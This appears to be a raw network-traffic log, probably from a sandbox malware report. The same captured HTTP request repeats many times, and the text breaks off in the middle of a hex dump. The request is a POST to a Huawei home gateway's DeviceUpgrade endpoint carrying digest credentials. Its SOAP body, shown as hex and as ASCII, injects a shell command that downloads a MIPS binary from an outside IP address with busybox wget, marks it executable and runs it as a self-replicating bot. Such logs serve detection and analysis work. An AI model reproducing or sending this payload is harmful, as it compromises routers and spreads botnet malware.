62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 